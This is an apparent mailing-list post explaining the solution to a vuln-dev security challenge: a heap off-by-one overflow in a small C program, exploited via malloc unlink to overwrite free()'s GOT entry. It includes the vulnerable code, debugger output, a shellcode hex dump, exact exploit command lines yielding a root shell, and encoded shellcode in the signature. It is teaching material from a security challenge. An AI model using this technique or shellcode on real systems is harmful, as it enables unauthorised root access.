Re: vulndev1.c solution (warning SPOILER)

[Jon Erickson <matrix () phiral com>]

Okay, I got a lot of e-mails asking for a more in-depth explanation of this..  so instead of answering these e-mails 
individually, I'm going to post to the list...  cuz I figured it might be helpful to everyone..

And if I mess anything up, please correct me..  here goes..

On Tue, 13 May 2003 18:22:45 -0700
Jose Ronnick <matrix () phiral com> wrote:
> matrix@overdose vuln-dev $ cat vulndev1.c
> // vulndev-1.c
> // vuln-dev mailing list security challenge #1
> // by Aaron Adams <aadams () securityfocus com>
> // Spot the error in this program.
>
> #include <stdio.h>
> #include <stdlib.h>
>
> #define SIZE    252
>
> int
> main(int argc, char *argv[])
> {
>                                 int i;
>         char    *p1, *p2;
>         char    *buf1 = malloc(SIZE);
>         char    *buf2 = malloc(SIZE);
>
>         if (argc != 3)
>                 exit(1);
>
>         p1 = argv[1], p2 = argv[2];
> printf("p1 is at %p\n", p1);  // DEBUG                          
>         strncpy(buf2, p2, SIZE);
>         for (i = 0; i <= SIZE && p1[i] != '\0'; i++)
>                 buf1[i] = p1[i];
>         free(buf1);
>         free(buf2);
>         return 0;
> }

This is just the code with an added debugging statement to display the address of p1, which is actually the first 
argument (on the stack).  In the case of a non-executable stack, the execution could be returned into buf1+8ish.  I 
liked the way Marco Ivaldi used ltrace to get the address.. I always used to use gdb.. learn something new everyday.. =)

> matrix@overdose vuln-dev $ gcc -o vuln1 vulndev1.c 
> matrix@overdose vuln-dev $ sudo chown root.root ./vuln1
> matrix@overdose vuln-dev $ sudo chmod u+s ./vuln1

Just compiling and setting the binary suid root...

> matrix@overdose vuln-dev $ objdump -R ./vuln1
>
> ./vuln1:     file format elf32-i386
>
> DYNAMIC RELOCATION RECORDS
> OFFSET   TYPE              VALUE 
> 08049654 R_386_GLOB_DAT    __gmon_start__
> 0804963c R_386_JUMP_SLOT   malloc
> 08049640 R_386_JUMP_SLOT   __libc_start_main
> 08049644 R_386_JUMP_SLOT   printf
> 08049648 R_386_JUMP_SLOT   exit
> 0804964c R_386_JUMP_SLOT   free
> 08049650 R_386_JUMP_SLOT   strncpy

Here, I'm really going after the like with "free" on it.  This is the address of free in the Global Offset Table (GOT). 
 This table contains the addresses of various functions and is used by the Procedure Linking Table (PLT).  The PLT has 
pointers to pointers in it.. PLT contains pointers to the GOT, which has pointers to the various functions.  Funny 
thing is.. the PLT is marked read-only.. but the GOT isn't.. =)

The basic idea here is to overwrite the address of the free() function in the GOT, with the address of my shellcode.  
Then when the program tries to call free() for the second time, instead of jumping to the free() function, execution 
will flow to the shellcode...

Also, you could use dtors here...

> matrix@overdose vuln-dev $ pcalc 0x4c-12
>         64              0x40            0y1000000

Okay, here I'm just subtracting 12 from the address of the free() function.. to get the address 0x08049640..  This is 
because later I'm going to be tricking the unlink part of the free call..  When memory is allocated on the heap, 
there's a control structure (like a header) for each chunk..  part of this struct are pointers back (bk) and forward 
(fd)  bk is suppose to point to the previous chunk and fd at the next chunk..  Anyway.. part of the unlink call does 
this to the next chunk header:

*(next->fd + 12) = next->bk

err... that's confusing...  this might make it a bit clearer...

matrix@overdose vuln-dev $ ulimit -c unlimited
matrix@overdose vuln-dev $ gcc -o vuln vulndev1.c
matrix@overdose vuln-dev $ ./vuln `perl -e 'print "A"x253;'` ABCD1234
p1 is at 0xbffff833
Segmentation fault (core dumped)
matrix@overdose vuln-dev $ gdb -q -c core ./vuln
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x40096acf in _int_free () from /lib/libc.so.6
(gdb) x/i $eip
0x40096acf <_int_free+191>:     mov    %eax,0xc(%edx)
(gdb) info reg eax edx
eax            0x34333231       875770417
edx            0x44434241       1145258561
(gdb) 

So the instruction it barfed on was "mov %eax, 0xc(%edx)".  Basically, it's trying to copy the address from the 
register eax into edx shifted by 12 bytes.. so... to get the address from eax to copy into the address 0x0804964c, we 
need to supply it with 0x08049640  (12 less)...  more on this later..

> matrix@overdose vuln-dev $ od -ch shell
> 0000000   1 300 260   F   1 333   1 311 315 200 353 026   [   1 300 210
>         c031 46b0 db31 c931 80cd 16eb 315b 88c0
> 0000020   C  \a 211   [  \b 211   C  \f 260  \v 215   K  \b 215   S  \f
>         0743 5b89 8908 0c43 0bb0 4b8d 8d08 0c53
> 0000040 315 200 350 345 377 377 377   /   b   i   n   /   s   h
>         80cd e5e8 ffff 2fff 6962 2f6e 6873
> 0000056
> matrix@overdose vuln-dev $ wc -c shell
>      46 shell

Just displaying the shellcode and it's length...

> matrix@overdose vuln-dev $ pcalc 252-46
>         206             0xce            0y11001110

subtracting the shellcode length from the buffer length..

> matrix@overdose vuln-dev $ ./vuln1 `perl -e 'print "A"x206;'``cat shell``printf "\x0b"` `printf 
> "\x40\x96\x04\x08ABCD"`
> p1 is at 0xbffff839
> Segmentation fault

Run the program once to get the address of p1..

> matrix@overdose vuln-dev $ ./vuln1 `perl -e 'print "A"x206;'``cat shell``printf "\x0b"` `printf 
> "\x40\x96\x04\x08\x39\xf8\xff\xbf"`
> p1 is at 0xbffff839
> sh-2.05b# id
> uid=0(root) gid=100(users) groups=100(users),10(wheel),18(audio)
> sh-2.05b# 

and then feed it back in for the return address..  if you notice in the gdb session above, edx and eax were ABCD and 
1234, respectively..  So instead of ABCD, we use the address of free() in the GOT minus 12.. and instead of 1234, we 
use the address to the shellcode..  I put 206 bytes of A in front of the shellcode to act as a NOP sled.. the character 
A is equivalent to the machine code instruction "inc %ecx" in x86 arch.. so it basically works the same..  but it's 
just printable and cooler..  Having this sled as a spacer just gives me 206 bytes of slop space..

as for the byte of \x0b.. this could have really been anything, as long as the least sig bit was 0x1..  This is how the 
allocation/deallocation functions mark the previous chunk as in use..  This tricks the first free() call into 
overwriting the GOT entry, using data from buf2 (which it thinks it part of a chunk header)..  I hope this helped 
clarify.. if anyone else can add more to this please do..

-- 
%JOSE_RONNICK%50,:PTX-!399-Purr-!TTTP[XS\-.aa$-do+sP-x121-{Smm-|zq`P-wXqv-kxwx-5yyzP-11B5-0av(-4Gz!P-~]cz-HcayP-YLg/-wyx0-zyx!P-<C19-~mvIP-PqcJ-yaa7P-c0oe-rAypP-I$*F-q)cjP-*22a-WPjDP-5134-tPUn-w4wxP-118B-WV4w-xx4vPPPPPPPPPPPPPPPPPPPPPP

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